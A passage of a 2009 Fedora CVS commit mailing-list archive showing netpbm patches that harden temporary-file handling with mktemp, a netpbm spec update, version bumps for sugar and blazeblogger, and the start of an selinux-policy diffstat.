             my $n = 1 - 1.9*$spline20[31-$i];
-            system("pamscale $n junk2$$.ppm | " .
-                   "pamscale -width $width -height $height >junk3$$.ppm");
+            system("pamscale $n $tmpdir/junk2$$.ppm | " .
+                   "pamscale -width $width -height $height >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("cp", "junk3$$.ppm", "junk1a$$.ppm");
-            system("pamscale $n junk2$$.ppm | " .
-                   "pamscale -width $width -height $height >junk2a$$.ppm");
+            system("cp", "$tmpdir/junk3$$.ppm", "$tmpdir/junk1a$$.ppm");
+            system("pamscale $n $tmpdir/junk2$$.ppm | " .
+                   "pamscale -width $width -height $height >$tmpdir/junk2a$$.ppm");
         }    
     } elsif ($mode eq $MIX) {
         my $fade_factor = sqrt(1/($nframes-$i+1));
-        system("ppmmix $fade_factor junk1$$.ppm junk2$$.ppm >junk3$$.ppm");
+        system("ppmmix $fade_factor $tmpdir/junk1$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
     } else {
         print("Internal error: impossible mode value '$mode'\n");
     }
 
     my $outfile = sprintf("%s.%04d.ppm", $base_name, $i);
-    system("cp", "junk3$$.ppm", $outfile);
+    system("cp", "$tmpdir/junk3$$.ppm", $outfile);
 }
 
 #
 #  Clean up shop.
 #
-system("rm junk*$$.ppm");
+system("rm $tmpdir/junk*$$.ppm");
 
 exit(0);
diff -up netpbm-10.47.04/editor/ppmquantall.security2 netpbm-10.47.04/editor/ppmquantall
--- netpbm-10.47.04/editor/ppmquantall.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmquantall	2009-10-21 14:52:38.000000000 +0200
@@ -70,12 +70,8 @@ for i in ${files[@]}; do
     heights=(${heights[*]} `grep -v '^#' $i | sed '1d; s/.* //; 2q'`)
 done
 
-tempdir="${TMPDIR-/tmp}/ppmquantall.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting."; exit 1;}
-trap 'rm -rf $tempdir' 0 1 3 15
-
-all=$tempdir/pqa.all.$$
+all=$(mktemp -t pqa.all.XXXXXXXXXX) || exit 1
+rm -f $all
 
 pnmcat -topbottom -jleft -white ${files[@]} | pnmquant $newcolors > $all
 if [ $? != 0 ]; then
diff -up netpbm-10.47.04/editor/ppmshadow.security2 netpbm-10.47.04/editor/ppmshadow
--- netpbm-10.47.04/editor/ppmshadow.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmshadow	2009-10-21 14:51:02.000000000 +0200
@@ -72,9 +72,10 @@ sub makeConvolutionKernel($$) {
 
 
 my $tmpdir = $ENV{TMPDIR} || "/tmp";
-my $ourtmp = "$tmpdir/ppmshadow$$";
-mkdir($ourtmp, 0777) or
-    die("Unable to create directory for temporary files '$ourtmp");
+my $ourtmp; chomp($ourtmp = `mktemp -d -t PPMshadow.XXXXXX`);
+if ($? >> 8) {
+    die "Can't create directory for temporary files";
+}
 
 #   Process command line options
 

netpbm-svgtopam.patch:
 Makefile |    4 ----
 1 file changed, 4 deletions(-)

--- NEW FILE netpbm-svgtopam.patch ---
diff -up netpbm-10.35.67/converter/other/Makefile.svgtopam netpbm-10.35.67/converter/other/Makefile
--- netpbm-10.35.67/converter/other/Makefile.svgtopam	2009-09-04 13:57:06.000000000 +0200
+++ netpbm-10.35.67/converter/other/Makefile	2009-09-04 14:09:00.000000000 +0200
@@ -107,10 +107,6 @@ ifneq ($(ZLIB),NONE)
   BINARIES += pnmtops
 endif
 
-ifneq ($(XML2_LIBS),NONE)
-  BINARIES += svgtopam
-endif 
-
 MERGEBINARIES = $(BINARIES)
 
 EXTRA_OBJECTS = exif.o rast.o bmepsoe.o

netpbm-time.patch:
 config.h |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-time.patch ---
--- netpbm-10.17/converter/other/fiasco/config.h.time	2001-05-28 02:43:11.000000000 +0200
+++ netpbm-10.17/converter/other/fiasco/config.h	2003-09-08 15:23:17.000000000 +0200
@@ -19,7 +19,7 @@
 #define STDC_HEADERS 1
 
 /* Define if you can safely include both <sys/time.h> and <time.h>.  */
-#define TIME_WITH_SYS_TIME 1
+/* #undef TIME_WITH_SYS_TIME 1 */
 
 /* Define if your processor stores words with the most significant
    byte first (like Motorola and SPARC, unlike Intel and VAX).  */
@@ -79,7 +79,7 @@
 #define HAVE_STRING_H 1
 
 /* Define if you have the <sys/time.h> header file.  */
-#define HAVE_SYS_TIME_H 1
+/* #undef HAVE_SYS_TIME_H 1 */
 
 /* Define if you have the <unistd.h> header file.  */
 #define HAVE_UNISTD_H 1

netpbm-xwdfix.patch:
 xwdtopnm.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE netpbm-xwdfix.patch ---
--- netpbm-10.35/converter/other/xwdtopnm.c.xwdfix	2006-09-18 13:24:50.000000000 +0200
+++ netpbm-10.35/converter/other/xwdtopnm.c	2006-09-18 13:27:26.000000000 +0200
@@ -945,7 +945,7 @@ getpix(pixelReader * const rdrP) {
             unsigned long const bitsToTakeMask = lsbmask[nBitsToTake];
                 /* E.g. if nbitsToTake is 4, this is 0x0000000F */
 
-            unsigned long bitsToTake;
+            unsigned int bitsToTake;
                 /* The actual bits we take, in the 'nBitsToTake' low bits */
 
             assert(nBitsToTake <= 32);


Index: netpbm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/devel/netpbm.spec,v
retrieving revision 1.146
retrieving revision 1.147
diff -u -p -r1.146 -r1.147
--- netpbm.spec	9 Oct 2009 13:17:43 -0000	1.146
+++ netpbm.spec	21 Oct 2009 15:11:20 -0000	1.147
@@ -1,6 +1,6 @@
 Summary: A library for handling different graphics file formats
 Name: netpbm
-Version: 10.35.68
+Version: 10.47.04
 Release: 1%{?dist}
 # See copyright_summary for details
 License: BSD and GPLv2 and IJG and MIT and Public Domain
@@ -11,26 +11,21 @@ URL: http://netpbm.sourceforge.net/
 # svn checkout https://netpbm.svn.sourceforge.net/svnroot/netpbm/userguide netpbm-%{version}/userguide
 # and removing the .svn directories
 Source0: netpbm-%{version}.tar.xz
-Patch1: netpbm-10.17-time.patch
-Patch2: netpbm-9.24-strip.patch
-Patch3: netpbm-10.19-message.patch
-Patch4: netpbm-10.22-security2.patch
-Patch6: netpbm-10.23-security.patch
-Patch7: netpbm-10.24-nodoc.patch
-Patch8: netpbm-10.28-gcc4.patch
-Patch9: netpbm-10.27-bmptopnm.patch
-Patch10: netpbm-10.28-CAN-2005-2471.patch
-Patch11: netpbm-10.31-xwdfix.patch
-Patch12: netpbm-10.33-ppmtompeg.patch
-Patch13: netpbm-10.33-multilib.patch
-Patch14: netpbm-10.34-pamscale.patch
-Patch18: netpbm-10.35-glibc.patch
-Patch19: netpbm-10.35-gcc43.patch
-Patch20: netpbm-10.35-rgbtxt.patch
-Patch22: netpbm-10.35-pnmmontagefix.patch
-Patch23: netpbm-10.35-pnmtofiasco-stdin.patch
-Patch24: netpbm-10.35-64bitfix.patch
-Patch29: netpbm-10.35-svgtopam.patch
+Patch1: netpbm-time.patch
+Patch2: netpbm-message.patch
+Patch3: netpbm-security-scripts.patch
+Patch4: netpbm-security-code.patch
+Patch5: netpbm-nodoc.patch
+Patch6: netpbm-gcc4.patch
+Patch7: netpbm-bmptopnm.patch
+Patch8: netpbm-CAN-2005-2471.patch
+Patch9: netpbm-xwdfix.patch
+Patch10: netpbm-ppmtompeg.patch
+Patch11: netpbm-multilib.patch
+Patch12: netpbm-pamscale.patch
+Patch13: netpbm-glibc.patch
+Patch14: netpbm-pnmtofiasco-stdin.patch
+Patch15: netpbm-svgtopam.patch
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: libjpeg-devel, libpng-devel, libtiff-devel, flex
 BuildRequires: libX11-devel, python, jasper-devel
@@ -73,25 +68,22 @@ netpbm-progs.  You'll also need to insta
 %prep
 %setup -q
 %patch1 -p1 -b .time
-%patch2 -p1 -b .strip
-%patch3 -p1 -b .message
-%patch4 -p1 -b .security2
-%patch6 -p1 -b .security
-%patch7 -p1 -b .nodoc
-%patch8 -p1 -b .gcc4
-%patch9 -p1 -b .bmptopnm
-%patch10 -p1 -b .CAN-2005-2471
-%patch11 -p1 -b .xwdfix
-%patch12 -p1 -b .ppmtompeg
-%patch13 -p1 -b .multilib
-%patch14 -p1 -b .pamscale
-%patch18 -p1 -b .glibc
-%patch19 -p1 -b .gcc43
-%patch20 -p1 -b .rgbtxt
-%patch22 -p1 -b .pnmmontagefix
-%patch23 -p1 -b .pnmtofiasco-stdin
-%patch24 -p1 -b .64bitfix
-%patch29 -p1 -b .svgtopam
+%patch2 -p1 -b .message
+%patch3 -p1 -b .security-scripts
+%patch4 -p1 -b .security-code
+%patch5 -p1 -b .nodoc
+%patch6 -p1 -b .gcc4
+%patch7 -p1 -b .bmptopnm
+%patch8 -p1 -b .CAN-2005-2471
+%patch9 -p1 -b .xwdfix
+%patch10 -p1 -b .ppmtompeg
+%patch11 -p1 -b .multilib
+%patch12 -p1 -b .pamscale
+%patch13 -p1 -b .glibc
+%patch14 -p1 -b .pnmtofiasco-stdin
+%patch15 -p1 -b .svgtopam
+
+sed -i 's/STRIPFLAG = -s/STRIPFLAG =/g' config.mk.in
 
 %build
 ./configure <<EOF
@@ -205,7 +197,8 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root)
-%{_includedir}/*.h
+%dir %{_includedir}/netpbm
+%{_includedir}/netpbm/*.h
 %{_libdir}/lib*.so
 %{_mandir}/man3/*
 
@@ -217,6 +210,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/netpbm/
 
 %changelog
+* Wed Oct 21 2009 Jindrich Novy <jnovy at redhat.com> 10.47.04-1
+- update to 10.47.04 (it is now stable) (#529525)
+
 * Fri Oct  9 2009 Jindrich Novy <jnovy at redhat.com> 10.35.68-1
 - update to 10.35.68
 


--- netpbm-10.17-time.patch DELETED ---


--- netpbm-10.19-message.patch DELETED ---


--- netpbm-10.22-security2.patch DELETED ---


--- netpbm-10.23-security.patch DELETED ---


--- netpbm-10.24-nodoc.patch DELETED ---


--- netpbm-10.27-bmptopnm.patch DELETED ---


--- netpbm-10.28-CAN-2005-2471.patch DELETED ---


--- netpbm-10.28-gcc4.patch DELETED ---


--- netpbm-10.31-xwdfix.patch DELETED ---


--- netpbm-10.32-pnmdepth.patch DELETED ---


--- netpbm-10.33-multilib.patch DELETED ---


--- netpbm-10.33-ppmtompeg.patch DELETED ---


--- netpbm-10.34-pamscale.patch DELETED ---


--- netpbm-10.35-64bitfix.patch DELETED ---


--- netpbm-10.35-gcc43.patch DELETED ---


--- netpbm-10.35-glibc.patch DELETED ---


--- netpbm-10.35-pnmmontagefix.patch DELETED ---


--- netpbm-10.35-pnmtofiasco-stdin.patch DELETED ---


--- netpbm-10.35-rgbtxt.patch DELETED ---


--- netpbm-10.35-svgtopam.patch DELETED ---


--- netpbm-9.24-strip.patch DELETED ---



From sdz at fedoraproject.org  Wed Oct 21 15:11:20 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Wed, 21 Oct 2009 15:11:20 +0000 (UTC)
Subject: rpms/sugar/F-12 .cvsignore, 1.48, 1.49 sources, 1.50,
	1.51 sugar.spec, 1.78, 1.79
Message-ID: <20091021151120.ED0F211C01EA@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/sugar/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7128

Modified Files:
	.cvsignore sources sugar.spec 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar/F-12/.cvsignore,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- .cvsignore	8 Oct 2009 19:04:53 -0000	1.48
+++ .cvsignore	21 Oct 2009 15:11:20 -0000	1.49
@@ -1 +1 @@
-sugar-0.86.2.tar.bz2
+sugar-0.86.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar/F-12/sources,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- sources	8 Oct 2009 19:04:53 -0000	1.50
+++ sources	21 Oct 2009 15:11:20 -0000	1.51
@@ -1 +1 @@
-40868c672d5321250e151ebd80c68a99  sugar-0.86.2.tar.bz2
+3ba8a6133540bb1037396adf552af52f  sugar-0.86.3.tar.bz2


Index: sugar.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar/F-12/sugar.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- sugar.spec	8 Oct 2009 19:04:53 -0000	1.78
+++ sugar.spec	21 Oct 2009 15:11:20 -0000	1.79
@@ -5,7 +5,7 @@
 
 Summary: Constructionist learning platform
 Name: sugar
-Version: 0.86.2
+Version: 0.86.3
 Release: 1%{?dist}
 #Release: 4.%{alphatag}%{?dist}
 URL: http://sugarlabs.org/
@@ -144,6 +144,11 @@ rm -rf %{buildroot}
 %{_datadir}/icons/hicolor/scalable/apps/sugar-xo.svg
 
 %changelog
+* Wed Oct 21 2009 Sebastian Dziallas <sebastian at when.com> - 0.86.3-1
+- Sporadic freezes while scrolling journal #1506
+- Suppress race condition with Journal appearing on sugar startup #1373
+- Alt+Space not working to show/hide the tray #1476
+
 * Thu Oct 08 2009 Simon Schampijer <simon at schampijer.de> - 0.86.2-1
 - Not able to make screenshot #1464
 - debug logs for the presence service and connection managers not 



From sdz at fedoraproject.org  Wed Oct 21 15:18:54 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Wed, 21 Oct 2009 15:18:54 +0000 (UTC)
Subject: rpms/blazeblogger/devel .cvsignore, 1.3, 1.4 blazeblogger.spec, 1.2,
	1.3 sources, 1.3, 1.4
Message-ID: <20091021151854.8DF8B11C00E8@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/blazeblogger/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10078

Modified Files:
	.cvsignore blazeblogger.spec sources 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/blazeblogger/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	12 Sep 2009 15:26:20 -0000	1.3
+++ .cvsignore	21 Oct 2009 15:18:53 -0000	1.4
@@ -1 +1 @@
-blazeblogger-0.9.1.tar.gz
+blazeblogger-1.0.0.tar.gz


Index: blazeblogger.spec
===================================================================
RCS file: /cvs/pkgs/rpms/blazeblogger/devel/blazeblogger.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- blazeblogger.spec	12 Sep 2009 15:26:20 -0000	1.2
+++ blazeblogger.spec	21 Oct 2009 15:18:53 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           blazeblogger
-Version:        0.9.1
+Version:        1.0.0
 Release:        1%{?dist}
 Summary:        A simple to use but capable CMS for the command line
 
@@ -44,6 +44,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Sebastian Dziallas <sebastian at when.com> 1.0.0-1
+- update to new upstream release
+
 * Sat Sep 12 2009 Sebastian Dziallas <sebastian at when.com> 0.9.1-1
 - update to new upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/blazeblogger/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	12 Sep 2009 15:26:20 -0000	1.3
+++ sources	21 Oct 2009 15:18:53 -0000	1.4
@@ -1 +1 @@
-380f2856bb0c58b6a2e4041dfc4431e1  blazeblogger-0.9.1.tar.gz
+e0064912031a33e9beed10e12c217a0c  blazeblogger-1.0.0.tar.gz



From sdz at fedoraproject.org  Wed Oct 21 15:22:04 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Wed, 21 Oct 2009 15:22:04 +0000 (UTC)
Subject: rpms/sugar/devel sugar.spec,1.75,1.76
Message-ID: <20091021152204.4118E11C00E8@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/sugar/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11420

Modified Files:
	sugar.spec 
Log Message:
add missing file to appropriate section



Index: sugar.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar/devel/sugar.spec,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- sugar.spec	21 Oct 2009 15:10:58 -0000	1.75
+++ sugar.spec	21 Oct 2009 15:22:03 -0000	1.76
@@ -6,7 +6,7 @@
 Summary: Constructionist learning platform
 Name: sugar
 Version: 0.86.3
-Release: 1%{?dist}
+Release: 2%{?dist}
 #Release: 4.%{alphatag}%{?dist}
 URL: http://sugarlabs.org/
 # git clone git://dev.laptop.org/sugar
@@ -141,8 +141,12 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %{_bindir}/sugar-emulator
 %{_datadir}/applications/sugar-emulator.desktop
+%{_datadir}/icons/hicolor/scalable/apps/sugar-xo.svg
 
 %changelog
+* Wed Oct 21 2009 Sebastian Dziallas <sebastian at when.com> - 0.86.3-2
+- add missing file to appropriate section
+
 * Wed Oct 21 2009 Sebastian Dziallas <sebastian at when.com> - 0.86.3-1
 - Sporadic freezes while scrolling journal #1506
 - Suppress race condition with Journal appearing on sugar startup #1373



From sdz at fedoraproject.org  Wed Oct 21 15:23:08 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Wed, 21 Oct 2009 15:23:08 +0000 (UTC)
Subject: rpms/blazeblogger/F-12 .cvsignore, 1.3, 1.4 blazeblogger.spec, 1.2, 
	1.3 sources, 1.3, 1.4
Message-ID: <20091021152308.CF52711C00E8@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/blazeblogger/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11863

Modified Files:
	.cvsignore blazeblogger.spec sources 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/blazeblogger/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	12 Sep 2009 15:26:20 -0000	1.3
+++ .cvsignore	21 Oct 2009 15:23:08 -0000	1.4
@@ -1 +1 @@
-blazeblogger-0.9.1.tar.gz
+blazeblogger-1.0.0.tar.gz


Index: blazeblogger.spec
===================================================================
RCS file: /cvs/pkgs/rpms/blazeblogger/F-12/blazeblogger.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- blazeblogger.spec	12 Sep 2009 15:26:20 -0000	1.2
+++ blazeblogger.spec	21 Oct 2009 15:23:08 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           blazeblogger
-Version:        0.9.1
+Version:        1.0.0
 Release:        1%{?dist}
 Summary:        A simple to use but capable CMS for the command line
 
@@ -44,6 +44,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Sebastian Dziallas <sebastian at when.com> 1.0.0-1
+- update to new upstream release
+
 * Sat Sep 12 2009 Sebastian Dziallas <sebastian at when.com> 0.9.1-1
 - update to new upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/blazeblogger/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	12 Sep 2009 15:26:20 -0000	1.3
+++ sources	21 Oct 2009 15:23:08 -0000	1.4
@@ -1 +1 @@
-380f2856bb0c58b6a2e4041dfc4431e1  blazeblogger-0.9.1.tar.gz
+e0064912031a33e9beed10e12c217a0c  blazeblogger-1.0.0.tar.gz



From sdz at fedoraproject.org  Wed Oct 21 15:23:40 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Wed, 21 Oct 2009 15:23:40 +0000 (UTC)
Subject: rpms/blazeblogger/F-11 .cvsignore, 1.3, 1.4 blazeblogger.spec, 1.2, 
	1.3 sources, 1.3, 1.4
Message-ID: <20091021152340.6932B11C00E8@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/blazeblogger/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12007

Modified Files:
	.cvsignore blazeblogger.spec sources 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/blazeblogger/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	12 Sep 2009 15:26:42 -0000	1.3
+++ .cvsignore	21 Oct 2009 15:23:40 -0000	1.4
@@ -1 +1 @@
-blazeblogger-0.9.1.tar.gz
+blazeblogger-1.0.0.tar.gz


Index: blazeblogger.spec
===================================================================
RCS file: /cvs/pkgs/rpms/blazeblogger/F-11/blazeblogger.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- blazeblogger.spec	12 Sep 2009 15:26:42 -0000	1.2
+++ blazeblogger.spec	21 Oct 2009 15:23:40 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           blazeblogger
-Version:        0.9.1
+Version:        1.0.0
 Release:        1%{?dist}
 Summary:        A simple to use but capable CMS for the command line
 
@@ -44,6 +44,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Sebastian Dziallas <sebastian at when.com> 1.0.0-1
+- update to new upstream release
+
 * Sat Sep 12 2009 Sebastian Dziallas <sebastian at when.com> 0.9.1-1
 - update to new upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/blazeblogger/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	12 Sep 2009 15:26:43 -0000	1.3
+++ sources	21 Oct 2009 15:23:40 -0000	1.4
@@ -1 +1 @@
-380f2856bb0c58b6a2e4041dfc4431e1  blazeblogger-0.9.1.tar.gz
+e0064912031a33e9beed10e12c217a0c  blazeblogger-1.0.0.tar.gz



From sdz at fedoraproject.org  Wed Oct 21 15:24:07 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Wed, 21 Oct 2009 15:24:07 +0000 (UTC)
Subject: rpms/blazeblogger/F-10 .cvsignore, 1.3, 1.4 blazeblogger.spec, 1.2, 
	1.3 sources, 1.3, 1.4
Message-ID: <20091021152407.F156F11C00E8@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/blazeblogger/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12209

Modified Files:
	.cvsignore blazeblogger.spec sources 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/blazeblogger/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	12 Sep 2009 15:26:58 -0000	1.3
+++ .cvsignore	21 Oct 2009 15:24:07 -0000	1.4
@@ -1 +1 @@
-blazeblogger-0.9.1.tar.gz
+blazeblogger-1.0.0.tar.gz


Index: blazeblogger.spec
===================================================================
RCS file: /cvs/pkgs/rpms/blazeblogger/F-10/blazeblogger.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- blazeblogger.spec	12 Sep 2009 15:26:58 -0000	1.2
+++ blazeblogger.spec	21 Oct 2009 15:24:07 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           blazeblogger
-Version:        0.9.1
+Version:        1.0.0
 Release:        1%{?dist}
 Summary:        A simple to use but capable CMS for the command line
 
@@ -44,6 +44,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Sebastian Dziallas <sebastian at when.com> 1.0.0-1
+- update to new upstream release
+
 * Sat Sep 12 2009 Sebastian Dziallas <sebastian at when.com> 0.9.1-1
 - update to new upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/blazeblogger/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	12 Sep 2009 15:26:58 -0000	1.3
+++ sources	21 Oct 2009 15:24:07 -0000	1.4
@@ -1 +1 @@
-380f2856bb0c58b6a2e4041dfc4431e1  blazeblogger-0.9.1.tar.gz
+e0064912031a33e9beed10e12c217a0c  blazeblogger-1.0.0.tar.gz



From jnovy at fedoraproject.org  Wed Oct 21 15:31:08 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 15:31:08 +0000 (UTC)
Subject: rpms/netpbm/devel .cvsignore,1.59,1.60 sources,1.63,1.64
Message-ID: <20091021153108.63B2211C0266@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/netpbm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13927

Modified Files:
	.cvsignore sources 
Log Message:
- upload source tarball



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/devel/.cvsignore,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- .cvsignore	9 Oct 2009 13:17:43 -0000	1.59
+++ .cvsignore	21 Oct 2009 15:31:04 -0000	1.60
@@ -1 +1 @@
-netpbm-10.35.68.tar.xz
+netpbm-10.47.04.tar.xz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/devel/sources,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- sources	9 Oct 2009 13:17:43 -0000	1.63
+++ sources	21 Oct 2009 15:31:05 -0000	1.64
@@ -1 +1 @@
-364add7dc5d66ecd44eec65f3d92d39b  netpbm-10.35.68.tar.xz
+87d9e65a88c929bfbc60f9d4f3d87d5b  netpbm-10.47.04.tar.xz



From mgrepl at fedoraproject.org  Wed Oct 21 15:32:31 2009
From: mgrepl at fedoraproject.org (Miroslav Grepl)
Date: Wed, 21 Oct 2009 15:32:31 +0000 (UTC)
Subject: rpms/selinux-policy/F-10 policy-20080710.patch, 1.180,
	1.181 selinux-policy.spec, 1.808, 1.809
Message-ID: <20091021153231.0377711C00E8@cvs1.fedora.phx.redhat.com>

Author: mgrepl

Update of /cvs/extras/rpms/selinux-policy/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14332

Modified Files:
	policy-20080710.patch selinux-policy.spec 
Log Message:
- Allow spamass-milter to read etc files



policy-20080710.patch:
 Makefile                                            |   26 
 Rules.modular                                       |   18 
 config/appconfig-mcs/default_contexts               |   19 
 config/appconfig-mcs/failsafe_context               |    2 
 config/appconfig-mcs/guest_u_default_contexts       |    6 
 config/appconfig-mcs/root_default_contexts          |    8 
 config/appconfig-mcs/seusers                        |    4 
 config/appconfig-mcs/staff_u_default_contexts       |    4 
 config/appconfig-mcs/unconfined_u_default_contexts  |    2 
 config/appconfig-mcs/user_u_default_contexts        |    5 
 config/appconfig-mcs/userhelper_context             |    2 
 config/appconfig-mcs/xguest_u_default_contexts      |    7 
 config/appconfig-mls/default_contexts               |   19 
 config/appconfig-mls/guest_u_default_contexts       |    4 
 config/appconfig-mls/root_default_contexts          |   12 
 config/appconfig-mls/staff_u_default_contexts       |    2 
 config/appconfig-mls/user_u_default_contexts        |    2 
 config/appconfig-mls/xguest_u_default_contexts      |    7 
 config/appconfig-standard/guest_u_default_contexts  |    4 
 config/appconfig-standard/root_default_contexts     |    6 
 config/appconfig-standard/staff_u_default_contexts  |    2 
 config/appconfig-standard/user_u_default_contexts   |    2 
 config/appconfig-standard/xguest_u_default_contexts |    5 
 man/man8/nfs_selinux.8                              |   19 
 man/man8/samba_selinux.8                            |   12 
 policy/flask/access_vectors                         |    1 
 policy/global_tunables                              |   20 
 policy/mcs                                          |    8 
 policy/mls                                          |    9 
 policy/modules/admin/alsa.te                        |    1 
 policy/modules/admin/anaconda.te                    |    1 
 policy/modules/admin/certwatch.te                   |    4 
 policy/modules/admin/consoletype.te                 |   11 
 policy/modules/admin/kismet.if                      |    1 
 policy/modules/admin/kismet.te                      |   49 
 policy/modules/admin/logrotate.te                   |   14 
 policy/modules/admin/logwatch.te                    |   11 
 policy/modules/admin/mrtg.te                        |    1 
 policy/modules/admin/netutils.te                    |   11 
 policy/modules/admin/prelink.te                     |   18 
 policy/modules/admin/rpm.fc                         |   10 
 policy/modules/admin/rpm.if                         |  290 +++
 policy/modules/admin/rpm.te                         |   40 
 policy/modules/admin/su.if                          |   69 
 policy/modules/admin/sudo.if                        |   55 
 policy/modules/admin/tmpreaper.te                   |   24 
 policy/modules/admin/usermanage.te                  |   19 
 policy/modules/admin/vbetool.if                     |   31 
 policy/modules/admin/vbetool.te                     |    9 
 policy/modules/admin/vpn.if                         |   36 
 policy/modules/apps/awstats.te                      |    6 
 policy/modules/apps/ethereal.fc                     |    2 
 policy/modules/apps/ethereal.if                     |   54 
 policy/modules/apps/ethereal.te                     |    7 
 policy/modules/apps/games.if                        |   28 
 policy/modules/apps/gitosis.fc                      |    4 
 policy/modules/apps/gitosis.if                      |   94 
 policy/modules/apps/gitosis.te                      |   43 
 policy/modules/apps/gnome.fc                        |   14 
 policy/modules/apps/gnome.if                        |  171 +
 policy/modules/apps/gnome.te                        |   31 
 policy/modules/apps/gpg.fc                          |    8 
 policy/modules/apps/gpg.if                          |  304 ---
 policy/modules/apps/gpg.te                          |  248 ++
 policy/modules/apps/java.fc                         |   17 
 policy/modules/apps/java.if                         |  188 +
 policy/modules/apps/java.te                         |   31 
 policy/modules/apps/livecd.fc                       |    2 
